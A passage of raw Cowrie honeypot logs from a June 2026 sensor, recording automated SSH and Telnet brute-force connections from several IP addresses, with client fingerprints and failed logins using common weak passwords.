0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:54.424397Z","src_ip":"45.156.87.147","session":"83633e1e9774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52940,"dst_ip":"10.17.0.5","dst_port":22,"session":"23d8f5e71c68","protocol":"ssh","message":"New connection: 27.71.230.31:52940 (10.17.0.5:22) [session: 23d8f5e71c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:54.569396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:54.611994Z","src_ip":"27.71.230.31","session":"23d8f5e71c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:54.669189Z","src_ip":"45.156.87.147","session":"83633e1e9774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:55.755770Z","src_ip":"45.156.87.147","session":"83633e1e9774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:56.550829Z","src_ip":"27.71.230.31","session":"23d8f5e71c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:58.757103Z","src_ip":"27.71.230.31","session":"23d8f5e71c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58500,"dst_ip":"10.17.0.5","dst_port":22,"session":"c79f60e13535","protocol":"ssh","message":"New connection: 45.156.87.147:58500 (10.17.0.5:22) [session: c79f60e13535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:00.089631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:00.098882Z","src_ip":"45.156.87.147","session":"c79f60e13535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:00.189275Z","src_ip":"45.156.87.147","session":"c79f60e13535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:00.441193Z","src_ip":"45.156.87.147","session":"c79f60e13535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:00.782401Z","src_ip":"27.71.230.31","session":"23d8f5e71c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:01.525903Z","src_ip":"45.156.87.147","session":"c79f60e13535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58522,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30c671349a9","protocol":"ssh","message":"New connection: 45.156.87.147:58522 (10.17.0.5:22) [session: f30c671349a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:06.168518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:06.173962Z","src_ip":"45.156.87.147","session":"f30c671349a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:06.260815Z","src_ip":"45.156.87.147","session":"f30c671349a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:06.518807Z","src_ip":"45.156.87.147","session":"f30c671349a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:07.655760Z","src_ip":"45.156.87.147","session":"f30c671349a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43648,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ffae4ebb4d1","protocol":"ssh","message":"New connection: 45.156.87.147:43648 (10.17.0.5:22) [session: 3ffae4ebb4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:12.066407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:12.070176Z","src_ip":"45.156.87.147","session":"3ffae4ebb4d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:12.152051Z","src_ip":"45.156.87.147","session":"3ffae4ebb4d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:12.407676Z","src_ip":"45.156.87.147","session":"3ffae4ebb4d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:13.491933Z","src_ip":"45.156.87.147","session":"3ffae4ebb4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43664,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b85c36c2b27","protocol":"ssh","message":"New connection: 45.156.87.147:43664 (10.17.0.5:22) [session: 3b85c36c2b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:18.230878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:18.235315Z","src_ip":"45.156.87.147","session":"3b85c36c2b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:18.317659Z","src_ip":"45.156.87.147","session":"3b85c36c2b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:18.566907Z","src_ip":"45.156.87.147","session":"3b85c36c2b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:19.657325Z","src_ip":"45.156.87.147","session":"3b85c36c2b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36564,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba4bfbf8bc92","protocol":"telnet","message":"New connection: 128.199.8.54:36564 (159.203.135.109:23) [session: ba4bfbf8bc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:21.012975Z"}
{"eventid":"cowrie.session.closed","duration":0.004587650299072266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:21.017427Z","src_ip":"128.199.8.54","session":"ba4bfbf8bc92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59540,"dst_ip":"10.17.0.5","dst_port":22,"session":"45ba524e4b71","protocol":"ssh","message":"New connection: 45.156.87.147:59540 (10.17.0.5:22) [session: 45ba524e4b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:24.304038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:24.312409Z","src_ip":"45.156.87.147","session":"45ba524e4b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:24.386190Z","src_ip":"45.156.87.147","session":"45ba524e4b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"12345","message":"login attempt [appuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:24.717946Z","src_ip":"45.156.87.147","session":"45ba524e4b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40492,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a5bfe2a51cf","protocol":"telnet","message":"New connection: 172.81.62.90:40492 (10.17.0.5:23) [session: 2a5bfe2a51cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:25.153984Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:25.801562Z","src_ip":"45.156.87.147","session":"45ba524e4b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47170,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b0a05585afc","protocol":"ssh","message":"New connection: 45.156.87.147:47170 (10.17.0.5:22) [session: 4b0a05585afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:30.428976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:30.436502Z","src_ip":"45.156.87.147","session":"4b0a05585afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:30.529616Z","src_ip":"45.156.87.147","session":"4b0a05585afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:30.852736Z","src_ip":"45.156.87.147","session":"4b0a05585afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:31.941117Z","src_ip":"45.156.87.147","session":"4b0a05585afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60992,"dst_ip":"159.203.135.109","dst_port":22,"session":"75d65ef5ae36","protocol":"ssh","message":"New connection: 80.94.92.184:60992 (159.203.135.109:22) [session: 75d65ef5ae36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:34.140440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:34.279836Z","src_ip":"80.94.92.184","session":"75d65ef5ae36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:34.483344Z","src_ip":"80.94.92.184","session":"75d65ef5ae36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37344,"dst_ip":"10.17.0.5","dst_port":23,"session":"75cda087cfc4","protocol":"telnet","message":"New connection: 172.81.62.90:37344 (10.17.0.5:23) [session: 75cda087cfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:47:35.452576Z"}
